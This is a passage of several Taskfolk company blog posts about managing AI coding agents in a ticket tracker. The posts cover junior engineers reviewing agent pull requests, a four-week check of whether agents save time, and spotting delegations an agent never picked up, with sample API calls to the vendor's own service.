work per assignee | Sessions per issue, saved views per agent, cost rollups | Checked 26 July 2026. Jira keeps capacity behind Premium; Azure Boards has the richer model and asks only for Basic access. Neither models agents, and neither do we. Next sprint, do one thing. Put a number on the review column before you plan, and refuse to start more agent tickets than that number. Within a week you will know whether the agents were ever your bottleneck. --- # What your junior engineer does now that agents take the tickets URL: https://taskfolk.ai/blog/what-your-junior-engineer-does-now Published: 2026-07-28 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI agents, engineering management, code review, agentic project management, workflow, developer, agile A staffing plan for leads: what a junior developer works on when AI agents do the tickets, from spec authorship to first review of agent pull requests. Your junior used to get the flaky test, the copy change, the CSS bug, and the dependency bump. Three agents clear that list before standup now, and you are looking at an empty queue with a salaried human sitting next to it. What follows is a staffing plan for whoever has to fill that queue on Monday, percentages included so you have something to argue with. My bias, stated once so you can discount it: the junior belongs in the review column, because on most teams the reviewer today is nobody. The number for that is in the fourth section. ## The roster, before the rationale Nobody publishes a ticket mix for this, so the allocation below is a recommendation to tune, not a finding. The one external input is merge data. An MSR 2026 study of 33,000 agent-authored pull requests found [documentation, CI and build changes merge best while performance and bug-fix work merges worst](https://arxiv.org/abs/2601.15195) (Ehsani et al., 21 January 2026, five agents). Put your person where the agent's merge rate is lowest. | Lane | Starting share of the week | What it produces | |---|---|---| | Spec authorship | 30% | Tickets an agent finishes without asking | | First review of agent PRs | 30% | A review comment before the senior looks | | Owned delivery in agent-barred classes | 25% | Shipped work with their name on it | | Judgment work: reproduction, ambiguity, cross-service | 15% | A decision someone else can act on | Write it down, percentages included, even though they are guesses. LeadDev's AI Impact Report 2025 found that [38% of respondents agreed AI tools have reduced the direct mentoring junior engineers receive from seniors](https://leaddev.com/hiring/junior-devs-still-have-path-senior-roles), and that 18% expected fewer junior hires within a year against 10% expecting fewer senior hires (Chantal Kapani, 4 September 2025). Mentoring that used to happen over a shared bug does not happen by accident anymore. ## Lane one: they write the ticket the agent executes Spec authorship is defect prevention, and there is data behind that now. A May 2026 study of [20,574 real coding-agent sessions across 1,639 repositories](https://arxiv.org/html/2605.29442v1) sorted the visible failures into seven recurring forms. The biggest, at 38.33%, was the agent violating a constraint the developer had already stated. Misreading intent came second at 26.95%, and in 44.10% of those episodes the gap sat in the prompt itself. Across the whole set, 91.49% of the resolutions the authors could observe needed a human to step in and correct the agent. Those three numbers are the lane: write the constraints down, write them precisely, and keep a human nearby for the times neither worked. So the ticket carries acceptance criteria a machine can check, reproduction steps, the module boundary, an explicit do-not-touch list, and the test that proves it. Ticket shape is its own subject, covered in [write tickets AI agents can finish](/blog/write-tickets-ai-agents-can-finish). You cannot measure this on a dashboard, and I would rather say so than pretend. The proxy is manual: assigning an issue to an agent auto-creates a pending session, and a stuck agent moves it to `needs_input`. Count blocked sessions on tickets that person wrote. ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?state=needs_input" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```ts const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?state=needs_input", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); ``` ```json { "data": [ { "issue_key": "WEB-241", "state": "needs_input", "note": "Spec does not say if retries are per delivery or per endpoint." } ] } ``` Read ten of those notes and you know what your junior is not writing down yet. WEB-241 is a spec defect with a timestamp. House position, flagged as a position: spec quality is your promotion signal to mid-level. No research supports that, and the counter-argument going around is that specs are load-bearing so seniors should own them. That has the learning backwards. Writing a spec that survives contact with an executor is how a person finds out whether they understand the system. ## Lane two: the review column is their desk Add a real column between In progress and Done and call it Agent review. A label leaves the card sitting in In progress where nobody counts it; a column makes an unreviewed agent PR visibly stuck. Map it to the in review status category, which is what cross-project views filter on. ![What your junior engineer does now that agents take the tickets - review column](/images/blog/what-your-junior-engineer-does-now-review-column.webp) The board with an Agent review column between In progress and Done, holding agent cards. Give the column a definition of ready or it fills with half-finished work. Four conditions: the session is in `review` state, its external URL points at an open PR, CI is green, and the note says what changed and what the agent left alone. Sending a card back is the junior's call, not the senior's. ```mermaid flowchart TD A["Ticket is ready"] --> B{"On the register?"} B -->|"Senior class"| C["Senior owns it"] B -->|"Judgment class"| D["Junior owns it"] B -->|"Neither"| E["Agent picks it up"] E --> F["Agent review column"] F --> G["Junior first review"] G -->|"Signs off"| H["Senior merges"] G -->|"Escalates"| C ``` The part that usually goes unwritten is the split: what the first reviewer signs off alone, and what they hand up untouched. | First reviewer signs off on | Escalates to a senior | |---|---| | The diff does what the ticket said | Anything on the register below | | Tests assert behaviour, not that code ran | A change larger than the ticket described | | No duplicate of code that exists already | Migrations, contract changes, new dependencies | | Error paths exist and are reachable | A design choice they cannot explain back | | The session note matches the diff | Anything read twice and still not judgeable | Drill the third row hardest. GitClear's 2026 maintainability report, drawn from [623 million code changes since 2023](https://www.gitclear.com/the_ai_code_quality_maintainability_gap), puts duplicated blocks at 73.0 per million changed lines this year against 40.3 in 2023, while moved or refactored lines fell from 21% of changes in 2022 to 3.8%. Agents rebuild rather than reuse. "Does this already exist?" is a check a junior can run with grep and six weeks of codebase memory, and right now nobody runs it. Getting a new engineer to those six weeks when most of the code was generated is its own job, covered in [onboarding a new engineer to code your agents wrote](/blog/onboard-a-human-to-agent-written-code). Why review became the bottleneck is argued in [why AI made code review the bottleneck](/blog/ai-made-code-review-the-bottleneck); this section is only about who stands in the column. ## The objection, and why I think it loses The standard objection is that only a senior can safely review generated code, so putting a junior on agent PRs is reckless. On its own terms that is reasonable. It also measures against a baseline nobody has. A study published on 4 May 2026 classified review activity on [33,596 agent-authored pull requests in repositories with 100 or more stars](https://arxiv.org/html/2605.02273v1). It found 61.38% received no recorded review at all. Counting bot reviewers as reviewers, 84.0% got either nothing or agent-only review, leaving 15.9% with any documented human participation. The authors flag the caveat themselves: a maintainer can read a PR without leaving a trace, so this counts recorded review, not attention. Discount it as far as you honestly can and the shape holds. Junior-first review is not competing with senior-first review. It is competing with nobody. The safety argument sits on one boundary: the junior reviews, the senior merges. The first review is additive. It catches the cheap defects, a test that asserts nothing or a reimplemented helper, and hands up the rest with a specific question attached. Better use of senior attention than a cold read of a 400-line diff. ![What your junior engineer does now that agents take the tickets - agent session live](/images/blog/what-your-junior-engineer-does-now-agent-session-live.webp) A live agent session on the issue, with its state chip, note, and pull request link. One check belongs in the routine: does a finished session leave a trace on the issue? A session marked done with no attributed activity and no comment gets flagged as unverified. One comment defeats the heuristic, so treat the flag as a prompt to look. That habit is expanded in [managing a team of AI agents](/blog/manage-a-team-of-ai-agents). ## Lane three: the do-not-delegate register Most versions of this list conflate two things, and a lead who follows them hands a junior the payments migration. Keep two lists. Work an agent may not do is not the same as work the junior owns. ```yaml # do-not-delegate.yml, reviewed monthly senior_only: # agent barred, junior does not own the merge either - authentication - authorization - cryptography and keys - payment and refund paths - personal data paths - database migrations - public API contracts - infrastructure and deploy config junior_owned: # agent barred: the spec must be discovered, not executed - customer bugs with no reproduction yet - requirements with an open question in them - changes crossing more than one service - performance work ``` The second list is the harder half: the spec does not exist yet and somebody has to go find it, which is also where the merge data says agents do worst. The principle underneath a register, reversible versus not, is worked out in [decision rights between your team and your AI agents](/blog/decision-rights-between-your-team-and-ai-agents). The list above is the ticket-class version. ## What the tool enforces, and what is only a convention A register you believe is enforced when it is not is worse than one you know is only a norm. Exactly one mechanism turns a register line into a hard boundary, and it is not on the agent settings page. A scoped project restricts access to its explicit members, and a connected agent joins the workspace as an ordinary member, so a scoped project nobody added it to answers its API key with a 404. Move the payments and infrastructure work into its own scoped project and the first list stops being a promise. Two more controls enforce, on a different axis. Allowed transitions are a hard gate: a status move that is not on a column's allowed list is refused at every write path, REST and MCP included. Per-agent field policy is an allowlist over 14 issue fields, checked at one choke point that covers REST, the transition endpoint, MCP and the time endpoint. An agent whose policy leaves out `assignee` cannot reassign anything, however it calls in. ![What your junior engineer does now that agents take the tickets - field policy allowlist](/images/blog/what-your-junior-engineer-does-now-field-policy-allowlist.webp) A partial field-policy allowlist: this agent writes title, description and status, nothing else. Three things look like controls and are not. WIP limits are a counter and a colour; nothing refuses a card. Transition rules are project-scoped and actor-blind, so you cannot let a human move a card to Done while barring an agent from the same move. Field policy is per-field, not per-value, so "may set status, but only to Agent review" is not expressible. What the product gives the lane is identity. A connected agent is a real member with its own user row, so it appears in the assignee picker and in activity, and every write carries its name. Policy setup is in [how to set agent field permissions](/docs/how-to-set-agent-field-permissions), column mechanics in [custom workflow statuses](/docs/custom-workflow-statuses). Connected agents are excluded from seat counting, so the junior reviewing them is a $3 editor seat and the agents add nothing to the bill. ## Lane four: the judgment ladder The thousand small fixes that used to build instinct are gone. If you do not replace them deliberately, nothing replaces them. | Weeks | What they own | Signal you are looking for | |---|---|---| | 1 to 2 | Read agent sessions end to end. Review nothing alone. | They name what the agent skipped | | 3 to 6 | First review on low-risk agent PRs, senior re-reviews each | Comments arrive before the senior's | | 7 to 12 | First review on all non-register PRs, specs for their tickets | `needs_input` on their tickets drops | | Quarter 2 | Own a junior-list class outright, agent-assisted, end to end | They reject a plausible diff and say why | That last signal is the one that matters. Anyone can approve; the skill is the confidence to refuse something that looks right and then say what is wrong with it. ![What your junior engineer does now that agents take the tickets - junior queue view](/images/blog/what-your-junior-engineer-does-now-junior-queue-view.webp) The review queue as a shared workspace view, so it is one link rather than a rebuilt filter. Give them a saved, shared view of that queue rather than a filter they rebuild every morning ([how to save and share views](/docs/how-to-save-and-share-views)). A cross-project view filters on the status category, not your column name, which is the reason to categorise Agent review as in review: one link then covers every project's review queue. ## Where this plan is weak It assumes you have a senior with review bandwidth, which is the exact thing the industry is short of. Without one, the plan degrades into "a junior approves agent code unsupervised," and I would not run that. On tooling: no skills matrix, no career ladder, no reviewer-assignment engine. Roles are five fixed ones, so there is no custom role meaning "may review but may not close a ticket"; Jira and Asana sell permission schemes for that shape and we do not. A workspace view takes a single assignee id, so there is no single "everything any agent touched" view. Agent cost is self-reported, because the agent spends on its own provider account, so a spend figure can raise a flag and never block anything. The lanes are a convention. One scoped project makes part of the register real, two controls narrow what an agent may write, and the rest is you, checking. ## Start with one column Do one thing this week. Add the Agent review column, name your junior as its first reviewer in writing, and put five ticket classes on the do-not-delegate list. In two weeks, look at which agent PRs went around the column anyway. That list is your real policy. --- # Did your AI agents actually save time, or did it just feel fast? URL: https://taskfolk.ai/blog/did-your-agents-actually-save-time Published: 2026-07-28 Author: The Taskfolk team Tags: AI agents, metrics, AI agent management, estimation, how-to, developer, agile How to tell if your AI coding agents actually saved time: a four week check that runs on ticket data you already have, with a sign test and honest limits. Your done column is full of agent tickets and your evenings are full of diffs. The board looks faster. Your week does not. That gap is worth taking seriously and it proves nothing on its own, because nobody has measured it yet. Four weeks of ticket data can, and the design below is sized for three people and forty tickets, not a research group. Before any of it, the limit. Taskfolk does not record when a pull request merged: our GitHub integration takes push and release events and nothing else, and no report computes the number this post cares about most. Everything here runs on the estimate field, one custom field, agent session rows, and an export you pull yourself. I work on Taskfolk, so read the product section with the suspicion it deserves. The protocol works the same in Jira or Linear. ## The agent's clock stops somewhere else An agent session ends when the agent marks the ticket done. Your work starts there. The saving gets counted at one boundary, the cost lands at another, and the two show up on different people's calendars. A metric built that way flatters the first person and hides the second. ```mermaid flowchart LR A["Ticket assigned, session runs"] --> C["Agent marks it done"] C --> D["Waits in the review queue"] D --> E["A human reads the diff"] E --> F["Merged"] C --> G["The saving is reported here"] F --> H["The cost lands here"] ``` Two 2026 surveys land on the same contradiction. Harness put the question to 700 engineers and managers in five countries and reported in May that [89% of engineering leaders say productivity improved since deploying AI, while 81% of those same leaders say code review time has gone up](https://www.harness.io/blog/we-re-measuring-the-gains-and-missing-the-costs). Sonar surveyed 1,149 developers and found [75% agreeing that AI reduced their toil, while the share of the work week they said went to toil sat at 23 to 25% whether they used AI daily or occasionally](https://www.sonarsource.com/state-of-code-developer-survey-report.pdf). Sonar's own chapter heading for that is the illusion of toil savings. A survey contradicting itself inside one page is the cleanest version of this problem I have seen. Why review absorbs the gain is a separate argument, made in [the post on review becoming the bottleneck](/blog/ai-made-code-review-the-bottleneck). This post is about measuring, not diagnosing. ## You cannot run the ticket twice, so write the number down first To know whether the agent saved time you need to know how long the ticket would have taken without it, and that ticket was only done once. The standard workaround is to ask afterwards. The St. Louis Fed does exactly this: its Real Time Population Survey [asks people how many additional hours they would need to work to get the same done without generative AI](https://www.stlouisfed.org/on-the-economy/2025/nov/state-generative-ai-adoption-2025), and pooling the three 2025 waves lands on 1.6% of all work hours saved. Defensible for a national survey, because the Fed cannot see the work before it happens. You do. So do not ask afterwards. Before an agent touches a ticket, a human writes one line on it: this would take me ninety minutes. Clinical trials solved a version of this by registering the outcome before the trial runs, and the logic transfers even if the stakes do not. ```mermaid flowchart TD A["Ticket refined and ready"] --> B["Human writes would have taken X"] B --> C{"Who runs it"} C -->|"agent"| D["Assign to the agent"] C -->|"human"| E["Assign to a person"] D --> F["Done, record actual"] E --> F F --> G["After fourteen days, record reopens"] ``` Order matters more than accuracy. A pre-commitment that turns out badly wrong is still usable, because it was wrong before anyone knew the answer. The same number recalled after a smooth agent run is contaminated. ## Four numbers, and the field each one lives in Cost is deliberately absent from this list, because what an agent spends per task is its own question and [we handle it separately](/blog/ai-agent-cost-per-task). | Number | Where it comes from | Clean to export | |---|---|---| | Pre-commitment vs actual, agent and human split | Number custom field, `estimate_minutes`, `spent_minutes` | Yes, over the API | | Done to merged gap | `resolved_at` here, merge time from GitHub | No, assembled by hand | | Reopen or rework inside 14 days | Status re-entries in the activity log | Yes, per issue | | Tickets touched more than twice | Count of activity rows by actor | Yes, per issue | The agent versus human split needs no discipline. Assigning an issue to a connected agent auto creates a pending session, so the row exists whether or not somebody remembered to tag the ticket. Sessions carry `started_at`, `ended_at`, a state and the pull request link in `external_url`. Taskfolk does not run the agent, it stores the record, and that record sorts tickets into two piles by fact instead of memory. ![Did your AI agents actually save time, or did it just feel fast? - issue estimate and session](/images/blog/did-your-agents-actually-save-time-issue-estimate-and-session.webp) An issue with the Time card showing estimate against spent, and a live agent session below it carrying its state, start time and PR link. ## Setting it up takes about twenty minutes Add one custom field to the project. Kind `number`, named something blunt like "Would have taken (min)", applied to story, task and bug. Use the plain number kind, because you will average it later. ![Did your AI agents actually save time, or did it just feel fast? - custom field number def](/images/blog/did-your-agents-actually-save-time-custom-field-number-def.webp) The project settings custom fields card with a number field defined, showing its kind, required flag and the work types it applies to. Two honest notes. Marking it required does not stop anyone filing a ticket without it, it only stops the value being cleared once something is in there. And if you have a connected agent, drop `estimate` from its field policy so it cannot overwrite the number it is measured against. Setup detail is in [custom fields in issue tracking](/docs/custom-fields-in-issue-tracking) and [how to track time on issues](/docs/how-to-track-time-on-issues). Then the export, where the product is worse than it sounds. The list view CSV carries `estimate_minutes` but not `spent_minutes`, `story_points`, `completion_pct` or any custom field value, and it stops at 5,000 rows. Pull the rest from the REST API: ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?status=done&limit=100" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```python import os, requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", params={"status": "done", "limit": 100}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) ``` ```json { "data": [ { "key": "WEB-412", "status": "done", "assignee_id": "0199b1c4-7f3a-7c21-9d55-2b8e4a1f0c6d", "estimate_minutes": 90, "spent_minutes": 140, "resolved_at": "2026-07-14T09:21:44.000Z" } ], "pagination": { "next_cursor": "eyJjIjoiMjAyNi0wNy0xMVQxNjowMjoxMFoifQ" } } ``` Custom field values come from the per issue custom fields endpoint, so it is two pulls. There is no date range filter on the issue list either, so a four week window means paging the cursor and filtering client side, or scoping the check to one sprint. I would take the sprint. More in [how to use the REST API](/docs/how-to-use-the-rest-api). ## Four weeks, and why the rework window is fourteen days Run it for four weeks, then stop. Longer is not better here, because the effect decays. He and colleagues at Carnegie Mellon matched 806 Cursor adopting repositories against projects that never adopted, and found [a three to five times jump in lines added in the first adoption month that dissipates after two, alongside a persistent rise in static analysis warnings and code complexity](https://arxiv.org/abs/2511.04427). Measure at month six and you measure a different thing. Fourteen days is not arbitrary either. GitClear's January 2026 analysis of 623 million code changes uses [two week churn, code revised within a fortnight of being written, as its rework metric, and reports it up 15%](https://www.gitclear.com/the_ai_code_quality_maintainability_gap). Borrowing that window keeps your number comparable to somebody else's. ![Did your AI agents actually save time, or did it just feel fast? - list agent vs human](/images/blog/did-your-agents-actually-save-time-list-agent-vs-human.webp) The list view filtered to one agent assignee with the estimate column showing, which is how the agent run subset becomes a query rather than a spreadsheet tab. ## Reading a result when n is forty tickets and three people Forty tickets across three people is a small sample, and most of the standard advice does not survive it. Two rules keep it honest. Compare paired, within person, only. Alice's pre-commitments against Alice's outcomes. Pooling three people into one bucket smuggles in the fact that Alice estimates optimistically and Raj does not, and that difference is bigger than the effect you are hunting. Use a sign test, not a t test. You have paired directions, not a well behaved distribution, and forty tickets is nowhere near enough to pretend otherwise. Count the pairs where the agent beat its pre-commitment by more than your noise floor, count the pairs that went the other way, drop the ties, read the table. | Non tied pairs | Pairs needed one way for p below 0.05 | p at that count | |---|---|---| | 6 | 6 | 0.031 | | 10 | 9 | 0.021 | | 15 | 12 | 0.035 | | 20 | 15 | 0.041 | | 40 | 27 | 0.038 | ```python from math import comb def sign_test(favor_agent, favor_human): n = favor_agent + favor_human # ties dropped, never counted k = max(favor_agent, favor_human) tail = sum(comb(n, i) for i in range(k, n + 1)) return min(1.0, 2 * tail / 2 ** n) print(round(sign_test(17, 7), 3)) # 0.064 print(round(sign_test(19, 9), 3)) # 0.087 ``` Both printed cases are ones you will hit: seventeen of twenty four favouring the agent, nineteen of twenty eight, and neither clears 0.05. Six pairs all pointing the same way is the smallest set that clears the bar, so fewer than six comparable pairs per person tells you nothing. "No signal" is a real outcome rather than a failed experiment. It says the effect, if there is one, is smaller than your team can detect in four weeks. That rules out the enormous win and sends you to the review queue. ## What the data cannot tell you Conclusions this design does not support, however the numbers land: - That agents are faster in general. You measured your agents, your codebase, your tickets, this month. - That the effect will hold. The Carnegie Mellon work puts the gain in the first two months. - That a null result means agents are useless. Equal time with less tedium is a real outcome, just not a time saving. - That the agent caused it. You did not randomise, and the tickets handed to agents are the ones that looked agent shaped. - Anything about code quality. Nothing here looks at the diff. The thing that would be cheating: filling in a pre-commitment after the ticket closed, or adjusting one that turned out obviously wrong. Both turn the study back into a recollection. ## What Taskfolk does not capture No merge timestamp, as flagged at the top. The GitHub webhook takes push and release events only, and there is no merged column anywhere in the schema, so you get that side from GitHub yourself. Jira does surface it: its development panel marks a work item merged once a linked pull request lands, and a rule can transition the item on the same event. If done to merged is your headline number, Jira has it and we do not. We do ship a cycle time report, which sounds like it solves this and does not. It measures the first transition into in progress through to done, falling back to created through done. The clock stops at done, the exact boundary this post argues you cannot trust. ![Did your AI agents actually save time, or did it just feel fast? - cycle time report clock](/images/blog/did-your-agents-actually-save-time-cycle-time-report-clock.webp) The project cycle time report, useful for flow but stopping its clock at done, which is why the protocol needs a second source. There is no per entry timesheet either, so `spent_minutes` is whatever a person typed. If you want cycle time and lead time defined properly, [we wrote that up separately](/blog/cycle-time-vs-lead-time). ## The instrument you already pay for The measurement platforms are good products built for a different buyer. | Instrument | Published price, 27 July 2026 | What it covers | |---|---|---| | Axify Starter | $100 a month flat, unlimited contributors | AI tool adoption and cost only | | Axify Pro | $29 per active contributor, billed annually | Adds pull request, sprint and DORA metrics | | DX | None published, contact sales | Quote after a conversation | | Faros AI | None published, demo request | Quote after a conversation | | Taskfolk | $3 or $6 per human editor, agents free | The four fields this protocol reads | The Axify Starter price is real and I would not talk anyone out of it, but that flat tier stops at tool adoption and cost, and the tier that reads pull requests starts at $29 a head on an annual commitment. DX and Faros publish a framework and no number. None of the three captures a counterfactual anyway, because none of them sees the ticket before the work starts. Your tracker does, and that is its only real advantage here. Add the number field to your active project today and fill it in on the next ticket you refine. Four weeks of that beats another quarter of arguing about whether it feels faster. Tickets written well enough for an agent to finish give cleaner numbers too, which is [its own piece of work](/blog/write-tickets-ai-agents-can-finish). --- # You assigned it to an agent and nothing happened URL: https://taskfolk.ai/blog/assigned-to-an-agent-and-nothing-happened Published: 2026-07-28 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, agentic project management, AI agent management, workflow, automation, how-to You assigned a task to an AI agent and nothing happened. Why queued and working look identical on your board, and how to put a clock on every delegation. You assigned WEB-214 to your coding agent at 09:12. It is 11:40. The ticket still has the agent's name on it, the column has not moved, and nothing has been written to it since you hit save. The reflex is to read the runtime logs. Go ahead, but the question that matters is one your board cannot answer: did the agent ever hear about this? An agent that picked the work up twenty minutes ago and is quietly reading files leaves exactly the same row as one whose process died at 04:00 and never received the event. That ambiguity is not a model problem. It is a hole in your workflow, and it opened the moment you changed an assignee field and called it a handoff. Disclosure: I work on Taskfolk, and one section here is about what we ship and what we do not. The argument is not ours. Several teams wrote parts of it down already, in specs nobody reads side by side. ## Queued and working render identically Your board stores one fact: assignee equals the agent. It stores nothing about whether the other side accepted the job. Two unrelated situations collapse into one row, and nobody on the team can separate them without leaving the tool. Wei Wu documents the same shape in a longitudinal study of one production LLM agent runtime, eight weeks, 22 incidents with postmortems ([arXiv:2606.14589](https://arxiv.org/abs/2606.14589), submitted 12 June 2026, checked 26 July 2026). The largest failure class there is not a bad model call. It is operational omission, defined in the paper's table as "declared state != runtime state", with silences lasting days to sixty days. The canonical incident is a job that was implemented, tested, registered and deployed, and never ran, because writing the crontab line was a human memory item. Then the sentence that should worry you: "the job's absence produced no log to scan." An assignment nobody accepted is that failure in miniature. There is no error to find because nothing errored. ![You assigned it to an agent and nothing happened - pending session on ticket](/images/blog/assigned-to-an-agent-and-nothing-happened-pending-session-on-ticket.webp) The Agent activity card seconds after assignment: a pending session under the agent name, no work reported yet. Two neighbouring failures are out of scope. An agent that started and then went quiet mid run needs [how to tell when an AI agent is stuck](/blog/is-your-ai-agent-stuck). An agent that started with no way to know what "done" meant has a problem upstream in the writing, covered in [write tickets AI agents can finish](/blog/write-tickets-ai-agents-can-finish). This post is only about the delegation that never began. ## How long should you have waited? Nobody gave you a number, so you invented one, and yours was probably "until I got annoyed". The systems that publish one disagree by three orders of magnitude. Call it T: the longest you are willing to wait for a first signal before you treat the delegation as unaccepted. | System | State while waiting for pickup | Deadline to leave it | If nothing comes back | |---|---|---|---| | A2A protocol v1.0.0 | `TASK_STATE_SUBMITTED` | none anywhere in the spec | undefined | | MCP Tasks extension | none, first status is `working` | `ttlMs` on every task handle | the handle expires | | Linear agent sessions | `pending`, plus a real `stale` state | 10 seconds to first activity | session marked unresponsive | | Microsoft Planner agent | Queued, meaning busy elsewhere | none documented | not documented | | GitHub Copilot coding agent | Queued in the UI | none on the queue, 59 minutes on the run | it sits there | | Hermes subagent delegation | none, work starts immediately | `child_timeout_seconds`, off by default | `timeout_phase: before_first_llm_call` | | Taskfolk | `pending` session | 30 minutes to a Stalled badge | cancelled after 7 days | Every row checked 26 July 2026 against that system's own docs. Read Microsoft's small print: Queued there means the agent is assigned but currently executing another task, so the state at least implies the agent is alive. GitHub is blunter. Its docs cap a Copilot cloud agent session at 59 minutes of execution and call that a hard limit, while nothing bounds the queue in front of it. The value of T matters much less than having one the system, not you, is responsible for checking. ## The protocols each solved half of this The A2A specification defines `TASK_STATE_SUBMITTED` as "indicates that a task has been successfully submitted and acknowledged," sitting before `TASK_STATE_WORKING` ([specification v1.0.0](https://a2a-protocol.org/latest/specification/), checked 26 July 2026). That is the exact state this post is about, agreed across vendors. Now search the spec for a timeout, a TTL, or an expiry. There is none. A state with no clock. The [MCP Tasks extension](https://modelcontextprotocol.io/extensions/tasks/overview) does the opposite (checked 26 July 2026). Its lifecycle table has five statuses: `working`, `input_required`, `completed`, `failed`, `cancelled`. There is no pending. The first status is `working`, which encodes exactly the assumption your board makes. Yet every task handle it returns carries a `ttlMs` and a `pollIntervalMs`, and the spec is explicit that "the task is durably created before the response is sent." A clock and a durable record, with no acknowledgement state to hang them on. Take the acknowledgement state from one, the clock from the other, and the blind spot closes. ```mermaid stateDiagram-v2 [*] --> Delegated Delegated --> Acknowledged: agent claims the record Delegated --> Unacknowledged: no signal by T Unacknowledged --> Acknowledged: late claim Unacknowledged --> Expired: nobody ever claims it Acknowledged --> Working Working --> Review Working --> Failed Review --> Done Done --> [*] Failed --> [*] Expired --> [*] ``` ## Nobody was assigned to notice One finding in that paper changed how I read my own dashboards. Across the 22 incidents, roughly 70% of silent failures were caught by a human looking at the product as a user. Tests and audits caught close to none, and that runtime carried 4,286 unit tests and 827 governance checks, all green while the failures ran. The rule that follows: an alert path must not depend on the failing subject. Their gateway down alert died with the gateway. So the agent cannot be the thing that tells you it never started. If it could send that message, it was running. This is ordinary, not exotic. In [multica issue #4963](https://github.com/multica-ai/multica/issues/4963) (opened 6 July 2026, checked 26 July 2026), a workspace snapshot shows a reviewer style agent at 138 of 523 tasks cancelled, 26.4%, and a builder style agent at 229 of 794, 28.8%. Those cancellations produced nothing, with no product signal and no automatic recovery. Roughly one delegation in four looked like a handoff and was not one. [GitHub community discussion #188644](https://github.com/orgs/community/discussions/188644) (opened 4 March 2026, checked 26 July 2026) collects six people whose Copilot sessions failed at dispatch and stayed marked Queued, with no way to cancel them. One reports a session queued for three months. Another writes that he is "worried about receiving unexpected bill or it eating up my quotas when I wake up someday". No official reply on the thread. A state with no expiry does not stay empty; it fills up with garbage that still costs money. ![You assigned it to an agent and nothing happened - hub pending count](/images/blog/assigned-to-an-agent-and-nothing-happened-hub-pending-count.webp) The Bots page roster: a pending count on an agent row, with the hint that these are delegations it has not picked up. ## The rule, in four lines Assignment mints a durable record instead of changing a field, and that record carries a named owner, the time it was created, and a state of its own. The state has to render differently from in flight. The entire cost of this failure is that queued and working look alike. A first signal deadline T applies to it. If nothing arrives by T the record flips to unacknowledged, and a human hears about it from something other than the agent. Unclaimed work expires loudly. A delegation that quietly ages back into an ordinary ticket is how work disappears with nobody deciding to drop it. ```mermaid sequenceDiagram participant H as You participant B as Tracker participant A as Agent runtime H->>B: assign the issue to the agent B->>B: mint a pending record with owner and clock B->>A: push the assignment event Note over A: process is not running B->>B: T passes with no claim B->>H: flip the record to unacknowledged ``` Contact centres have run the first three lines for years. A Salesforce Omni-Channel routing configuration carries a Push Time-Out: how long a routed work item sits in an agent's console before it is pulled back and sent elsewhere (checked 26 July 2026). The scope is narrow and honest about it. That timer bounds the unaccepted window and nothing after it. ## What Taskfolk does, and where it stops short Assigning an issue to a connected agent creates a `pending` session immediately, before the agent has heard anything. It shows on the ticket and on the Bots page under the agent's name, so the delegation is a record rather than a field. The agent claims that row when it starts and can never move a session into `pending` itself. The code comment names where we took the pattern from: Linear. Mechanics are in [how to delegate work to an agent](/docs/how-to-delegate-work-to-an-agent); wiring the key and the event stream is in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent). Against the four lines: rule one, yes. Rule two, yes, the pending badge reads differently from running. Rule three, partly. After 30 minutes with no activity a quiet pending session picks up an orange Stalled badge, the same threshold a hung run uses, shared deliberately: both mean a human should look. Rule four, partly, through a worker sweep that cancels pending sessions after seven days, give or take, because the sweep itself runs every six hours. ![You assigned it to an agent and nothing happened - session stalled badge](/images/blog/assigned-to-an-agent-and-nothing-happened-session-stalled-badge.webp) An unclaimed delegation past thirty minutes carrying the orange Stalled badge, next to a healthy running session so the two read differently. Now the part I would rather not write. Both of those clocks are silent. The Stalled badge is derived at read time for display and rings no bell, and the seven day expiry is a bulk update with no notification, so an ignored delegation dies without telling anyone. There is a second asymmetry in the same code: a running session that stops heartbeating is force cancelled after two hours, while an unclaimed one waits seven days. That treats a hung run as more urgent than a handoff nobody took, which is backwards. Linear ships the stricter version of all of this. Ten seconds to a first activity or the session is marked unresponsive, `stale` as one of six first class session states, enforced at dispatch rather than derived half an hour later. Until ours catches up, ask the question yourself on a schedule: ```bash # needs the agents:read scope curl -s "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?state=pending" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```ts const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?state=pending", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const { data } = await res.json(); ``` ```python import os, requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", params={"state": "pending"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) ``` ```json { "data": [ { "id": "0198f0c2-7b41-7c0a-9a3e-2f6d8c11ab90", "agent_id": "0198e7a1-4d22-7b19-8f55-91c0aa77de31", "agent_name": "Claude Code", "state": "pending", "title": "Fix the theme flash on first paint", "issue_key": "WEB-214", "started_at": "2026-07-26T09:12:04.000Z", "last_activity_at": "2026-07-26T09:12:04.000Z" } ] } ``` Compare `started_at` against your T. On an unclaimed row it is the moment of assignment and never moves, so anything older than T is a delegation nobody accepted. The honest limit sits right here: Taskfolk delivers the trigger over its per agent event stream and stores the session record. It never runs your agent. If the runtime is down nothing on our side starts it, and the pending session is the evidence. ## Doing this on Monday, whatever tool you use None of this needs our product. Give the awaiting pickup state a name in the tool you already have, a label or a status column, and never let it share a cell with in progress. Pick a T and write it in the team doc so it is a rule and not a mood. Run one scheduled query for records older than T and route the result to a human, not to the agent. Then close the loop the other way: an automation rule can wake an agent when matching work appears, without anyone touching the issue ([how to set up automations](/docs/how-to-set-up-automations)). ![You assigned it to an agent and nothing happened - notify agent rule](/images/blog/assigned-to-an-agent-and-nothing-happened-notify-agent-rule.webp) An automation rule with the notify agent action selected, so a matching ticket wakes the agent without a human sending anything. With more than one agent the same discipline keeps a 